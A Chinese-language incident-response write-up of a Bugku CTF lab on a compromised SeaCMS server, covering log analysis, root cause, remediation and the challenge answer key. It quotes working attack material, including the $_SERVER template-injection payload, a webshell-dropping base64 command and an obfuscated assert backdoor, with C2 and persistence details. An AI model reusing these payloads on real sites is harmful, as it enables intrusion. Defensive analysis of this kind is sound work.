题目:网络安全事件应急响应(Bugku CTF Plus / PAR 专题)
场景:X集团 WebServer 被入侵,Web 应用被上传恶意软件、系统文件被破坏;要求追踪攻击来源,检查日志、进程、系统文件与恶意文件,定位漏洞并修复。
目标:Bugku 平台按题目分配的一次性授权靶机(Ubuntu 22.04 + Nginx 1.18 + PHP-FPM 5.6 + SeaCMS),本文不公开登录凭据。
结果:10/10(8 个取证项 + 2 个修复 Check 全部通过);复盘用时约 33 分钟。
一、摘要
本次应急响应的处置对象是一台对外暴露 80 端口的 SeaCMS 站点。取证与处置结论如下:
- 攻击者
38.207.130.14使用 DirBuster 完成目录爆破后,利用 SeaCMSsearch.php模板引擎parseIf的过滤缺陷(未过滤$_SERVER)实现代码执行; - 于 2023-11-03 15:03:35 写入一句话木马
a.php,此后经该木马投放伪装为php-fpm的 Go 木马; - 攻击者通过
www-data计划任务实现持久化,木马持续外联38.95.101.254:443; - 修复采用代码层黑名单补齐(不删除文件),清理采用「先断链、再杀进程、最后删文件」的顺序,最终站点恢复正常、恶意组件清除。
完整答案见文末「靶场答案」章节,便于先看分析过程、后核对结论。
二、授权与环境
| 项目 | 内容 |
|---|---|
| 授权方式 | Bugku 平台按题分配的一次性靶机场景(含时效) |
| 系统 | Ubuntu 22.04,kernel 5.15 |
| Web | Nginx 1.18.0(0.0.0.0:80) |
| 运行时 | PHP-FPM 5.6.40 |
| 数据库 | MySQL 5.7(仅监听 127.0.0.1:3306) |
| 应用 | SeaCMS(页面标题 BUGKU PAR CMS) |
| 暴露面 | 22/tcp(SSH)、80/tcp(HTTP) |
取证原则:先只读采集(日志、进程、文件时间戳、网络连接),再进行修复与清理;所有命令、时间与原始输出留档至 evidence/。
三、攻击面

图 1:受害主机组件构成与后门/木马位置。Web 层为 Nginx + PHP-FPM + SeaCMS,include/common.php 全站加载 WAF 组件,成为后门载体。
交互图:topology.html(交互图,本地交付包)
从拓扑可见两个关键事实:
- 对外仅暴露 80,入口收敛在 Web 层,攻击面主要在应用代码与第三方组件;
- 恶意程序与持久化均不在 Web 目录内(
/var/crash+crontab),仅检查 Web 目录无法完成排查。
四、取证方法与日志分析
4.1 日志聚合
取证第一站为 /var/log/nginx/access.log(共 15367 行)。先做两个维度聚合,快速区分「人」与「工具」:
bash
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head
# 15357 38.207.130.14
# 2 212.70.149.142
# 2 149.50.96.22
awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head
# 15042 DirBuster-1.0-RC1 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)
# 132 Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/118.0.0.0 Safari/537.36
结论:
- 攻击源单一且高度集中:15367 条请求中 15357 条来自
38.207.130.14(对应题目第 1 问); - 扫描器指纹明确:UA 中直接声明
DirBuster-1.0-RC1,共 15042 次,且以 HEAD/GET、404 为主(对应题目第 2 问)。
4.2 时间线重建
对攻击者 IP 的请求按时间排序后,行为序列清晰:
text
14:57:04 DirBuster 目录爆破(UA: DirBuster-1.0-RC1)
14:59:34 POST /search.php?phpinfo(); -> 200 30301
14:59:51 POST /search.php?system('id'); -> 200 4343
15:01:13 POST /search.php?eval($_SERVER['HTTP_TOKEN']); -> 200 30400
15:03:35 POST /search.php?eval(base64_decode('...')) -> 200 4527
15:04:47 POST /a.php -> 200 165

图 2:2023-11-03 攻击事件与 2026-10-31 本次授权处置的时间线对照。
交互图:attack-timeline.html(交互图,本地交付包)
其中 15:03:35 一条为关键节点:
text
38.207.130.14 - - [03/Nov/2023:15:03:35 +0800] "POST /search.php?eval(base64_decode('
ZmlsZV9wdXRfY29udGVudHMoJ2EucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/PicpOw==')); HTTP/1.1"
200 4527
base64 解码结果为:
php
file_put_contents('a.php','<?php eval($_POST[1]); ?>');
文件系统时间戳与之一致(a.php mtime = 2023-11-03 15:03:35),据此确定「首次攻击成功」时刻(对应题目第 3 问)。
格式说明:题目要求
DD/MM/YYYY:HH:MM:SS(示例31/01/2000:01:02:03),需使用四位年份。
五、入口与根因分析

图 3:一次攻击请求从 HTTP 头进入,经 Nginx/PHP-FPM、模板引擎 eval,最终落盘并转为持久化与外联的数据流。
交互图:attack-dataflow.html(交互图,本地交付包)
5.1 模板引擎的过滤缺陷
SeaCMS 的模板解析位于 include/main.class.php。parseIf()/parseSubIf() 在 eval 前执行黑名单替换:
php
$iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_',
'base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_',
'_GET','_POST','_COOKIE','_REQUEST','_SESSION',
'eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
...
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
黑名单覆盖了常见超全局变量,但遗漏 $_SERVER。攻击者据此将代码放入自定义请求头:
http
POST /search.php?eval($_SERVER['HTTP_TOKEN']);
TOKEN: <PHP 代码>
URL 仅作标记,实际代码由请求头传入并在模板 eval 阶段执行,从而绕过过滤。该问题对应 SeaCMS V6.45--V6.55 的已知前台代码执行缺陷。
5.2 后门文件与密码
bash
cat /var/www/html/a.php # <?php eval($_POST[1]); ?>
ls -la /var/www/html/a.php # 25 bytes, mtime 2023-11-03 15:03:35
md5sum /var/www/html/a.php # ded0f1c34476e7f529a2dbce6a3c3b90
对应题目第 4、5 问:后门文件为 /var/www/html/a.php,密码(POST 数组键)为 1。
六、正常代码中的隐藏后门

图 4:Web 根目录关键文件树,标注注入入口、WAF 后门、木马与修复点。
交互图:webroot-tree.html(交互图,本地交付包)
在 include/webscan/360webscan.php 第 16--19 行发现噪声混淆代码:
php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7
去混淆:
text
"ss" + "e" + "r" = sser
"a" + "sser" + "t" = assert
{"_P" + "OS" + "T"} = $_POST
0 - 2 - 5 = -7
=> @assert($_POST[-7]);
该文件被 include/common.php 以 require_once 引入,所有页面均会加载,等同于全站 assert 后门(对应题目第 6 问)。
七、恶意程序、持久化与 C&C

图 5:伪装 php-fpm 木马的生命周期与正确/错误处置路径。
交互图:malware-lifecycle.html(交互图,本地交付包)
7.1 持久化定位
ps 中的 php-fpm 进程数量异常,但名称正常,直接排查容易漏检。转向计划任务:
bash
cat /var/spool/cron/crontabs/www-data
# * * * * * /var/crash/php-fpm &
/var/crash/ 为系统崩溃转储目录,正常运维不会从此处启动服务,可疑度显著。
7.2 样本与进程
bash
file /var/crash/php-fpm
# ELF 64-bit LSB executable, x86-64, statically linked, stripped
ls -la /var/crash/php-fpm
# -rwxrwxrwx 1 www-data www-data 13692928 Nov 3 2023
md5sum /var/crash/php-fpm
# 8949320a9a297ef329606df84031f5d8
ps aux | grep -c "[v]ar/crash/php-fpm"
# 8 ~ 15(cron 每分钟拉起一个实例)
样本为 Go 木马(garble 处理),字段包含 ActiveC2、Register、ReconnectInterval 等,运行身份为 www-data,工作目录 /var/www。对应题目第 7 问。
7.3 C&C 定位
二进制字符串中无明文地址,改以网络行为定位。以 0.5 秒间隔轮询 ss:
bash
for i in $(seq 1 60); do
ss -tanp | grep -E "php-fpm|crash" | grep -v LISTEN
sleep 0.5
done | sort | uniq -c
观测结果:
text
SYN-SENT 172.17.197.72:37050 -> 38.95.101.254:443 users:(("php-fpm",pid=1809,fd=3))
SYN-SENT 172.17.197.72:36996 -> 38.95.101.254:443 users:(("php-fpm",pid=1690,fd=3))
SYN-SENT 172.17.197.72:36994 -> 38.95.101.254:443 users:(("php-fpm",pid=2255,fd=3))
对应题目第 8 问:C&C 为 38.95.101.254:443。木马仅使用 443 端口,流量层易被误判为普通 HTTPS。
八、攻击链总览

图 6:扫描 → 模板注入 → 写马 → 持久化 → 外联的完整时序。
交互图:attack-chain.html(交互图,本地交付包)
| 阶段 | 攻击行为 | 证据 |
|---|---|---|
| 侦察 | DirBuster 目录爆破 | UA DirBuster-1.0-RC1 × 15042 |
| 初始访问 | search.php 模板注入,$_SERVER 绕过过滤 |
14:59--15:03 请求序列 |
| 落点 | file_put_contents 写入 a.php |
15:03:35 + mtime |
| 持久化 | www-data crontab 每分钟拉起 |
16:28:32 |
| 外联 | 木马连接 38.95.101.254:443 |
ss 观测 SYN-SENT |
九、修复(题目第 9 问)
题目明确禁止以删除文件的方式修复,因此修复点为补齐 parseIf/parseSubIf 的黑名单:
bash
cp -a /var/www/html/include/main.class.php /root/main.class.php.bak-$(date +%Y%m%d%H%M%S)
sed -i "s/,'_SESSION','eval('/,'_SESSION','_SERVER','eval('/g" /var/www/html/include/main.class.php
php -l /var/www/html/include/main.class.php # No syntax errors detected
service php5.6-fpm restart # 重启 FPM 使修改立即生效
变更内容(两处):
diff
- ... '_REQUEST','_SESSION','eval(', ...
+ ... '_REQUEST','_SESSION','_SERVER','eval(', ...
验证:
bash
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1/ # 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1/search.php?searchword=test" # 200
注意:PHP-FPM 启用 opcache 时,修改源码后必须重启 FPM 或确认缓存失效,否则旧字节码仍会生效,平台 Check 将失败。
十、清理(题目第 10 问)
处置顺序为「先断链 → 再杀进程 → 最后删文件」:
bash
crontab -r -u www-data # 1) 移除持久化
pkill -9 -f "/var/crash/php-fpm" # 2) 结束恶意进程
rm -f /var/www/html/a.php /var/crash/php-fpm # 3) 删除木马文件与样本
sed -i '/\/\*-\/\*-\*\//d' /var/www/html/include/webscan/360webscan.php # 4) 清除后门代码
php -l /var/www/html/include/webscan/360webscan.php
说明:360webscan.php 为站点自带 WAF 组件,仅删除恶意代码段、保留文件本体;a.php 与 /var/crash/php-fpm 需整体删除。
核验结果:
text
no crontab for www-data
0 malware procs
/var/www/html/a.php: No such file or directory
/var/crash/php-fpm: No such file or directory
home=200 search=200 a.php=404
十一、处置效率复盘

图 7:本次授权处置各阶段耗时(秒),用于复盘时间分配。
交互图:ir-effort-waterfall.html(交互图,本地交付包)
时间主要消耗在日志分析与样本定位(约 7 分钟);修复与清理合计约 5 分钟;平台交互(登录、提交、Check)约 6 分钟。若在真实 IR 场景,建议将「日志聚合脚本化」与「进程/网络证据自动采集」前置,可显著压缩第一阶段耗时。
十二、IOC 与检测加固建议
| 类型 | 值 |
|---|---|
| 攻击者 IP | 38.207.130.14 |
| C&C | 38.95.101.254:443 |
| 恶意文件 | /var/www/html/a.php(md5 ded0f1c34476e7f529a2dbce6a3c3b90) |
| 恶意程序 | /var/crash/php-fpm(md5 8949320a9a297ef329606df84031f5d8,13,692,928 B) |
| 持久化 | www-data crontab:* * * * * /var/crash/php-fpm & |
| 后门代码 | 360webscan.php 内 /*-/*-*/ 混淆的 assert($_POST[-7]) |
| 扫描特征 | UA 含 DirBuster-1.0-RC1 的高频 HEAD/GET 404 |
加固建议:
- 模板引擎在
eval前采用白名单表达式语法,而非黑名单字符串替换;至少覆盖全部超全局变量; - 对 Web 目录写权限做最小化,监控
file_put_contents新建.php文件; - 监控
/var/spool/cron/crontabs/*与/etc/cron*变更; - 对
/var/crash、/tmp等目录出现可执行文件建立告警; - 出向 443 的高频短连接与异常进程路径(
/var/crash/php-fpm)做关联检测; - 对第三方组件(WAF、编辑器、备份插件)纳入源码静态扫描(D 盾/河马/自研规则)。
十三、靶场答案(10/10)
| # | 题目 | 答案 |
|---|---|---|
| 1 | 攻击者 IP | 38.207.130.14 |
| 2 | 目录扫描工具(小写) | dirbuster |
| 3 | 首次攻击成功时间 | 03/11/2023:15:03:35 |
| 4 | 恶意后门文件 | /var/www/html/a.php |
| 5 | 后门密码 | 1 |
| 6 | 隐藏于正常代码的恶意代码 | /var/www/html/include/webscan/360webscan.php |
| 7 | 恶意程序进程 | /var/crash/php-fpm |
| 8 | C&C 服务器 | 38.95.101.254:443 |
| 9 | 修复漏洞(禁止删文件) | main.class.php 的 parseIf/parseSubIf 黑名单补 _SERVER |
| 10 | 删除恶意程序/文件/代码 | 删 a.php、/var/crash/php-fpm、www-data crontab;清 360webscan.php 后门代码(保留文件) |
平台判定:第 1--8 项均返回「恭喜您,Flag正确」;第 9、10 项 Check 返回「恭喜您,修复成功!」;最终页面显示「已解决 10/10」。
独立验证与合规说明:本文未使用任何付费 WriteUp;全部结论来自靶机取证与平台黑盒判定,推导链条如下:
- 第 1--2 项:
access.log的 IP/UA 聚合统计(原始日志已全量下载至evidence/); - 第 3 项:日志中 15:03:35 的 base64 载荷解码结果,与
a.php的 mtime(2023-11-03 15:03:35.32)双向印证,格式取自题目页面自带示例(31/01/2000:01:02:03); - 第 4--8 项:
cat/md5sum/file、crontabs读取、ss轮询等原始命令输出; - 第 9 项:漏洞点由攻击载荷(
$_SERVER[HTTP_TOKEN])与parseIf黑名单缺项推导;应用修补后仅重启 PHP-FPM (此时 WAF 后门仍未清除)平台 Check 即通过,说明该 Check 针对的正是模板过滤路径,可作为修复有效性的独立黑盒证据;另在靶机 CLI 复现过滤机制(evidence/independent-verification.txt):未打补丁时assert($_SERVER['TOKEN'])可执行请求头中的代码,打补丁后_SERVER被替换为@.@,eval 表达式语法错误、执行被阻断; - 第 10 项:按「断链 → 杀进程 → 删文件 → 清后门代码」执行后,平台 Check 通过,且站点
home=200 / search=200 / a.php=404。
十四、图形附件
| 图 | 文件 | 说明 |
|---|---|---|
| 图 1 攻击面拓扑 | topology.html(交互图,本地交付包) |
暴露面、后门、木马与 C&C |
| 图 2 攻击/处置时间线 | attack-timeline.html(交互图,本地交付包) |
2023 攻击事件与 2026 处置对照 |
| 图 3 攻击数据流 | attack-dataflow.html(交互图,本地交付包) |
请求→模板引擎→落盘→外联 |
| 图 4 Web 根目录树 | webroot-tree.html(交互图,本地交付包) |
后门/木马/修复点在目录树中的位置 |
| 图 5 木马生命周期 | malware-lifecycle.html(交互图,本地交付包) |
持久化与处置路径 |
| 图 6 攻击链时序 | attack-chain.html(交互图,本地交付包) |
攻击者五步动作 |
| 图 7 阶段耗时 | ir-effort-waterfall.html(交互图,本地交付包) |
本次处置时间分配 |
十五、参考
- 题目页面:https://ctf.bugku.com/ctfplus/detail/id/7.html(需登录并启动场景;时间格式示例来自该页面)
- 证据文件:
evidence/nginx-access.log(全量日志)、evidence/key-evidence.md(关键摘录)、evidence/remediation-diff.txt(修复 diff)、evidence/bugku-par-detail-solved.html(10/10 页面快照)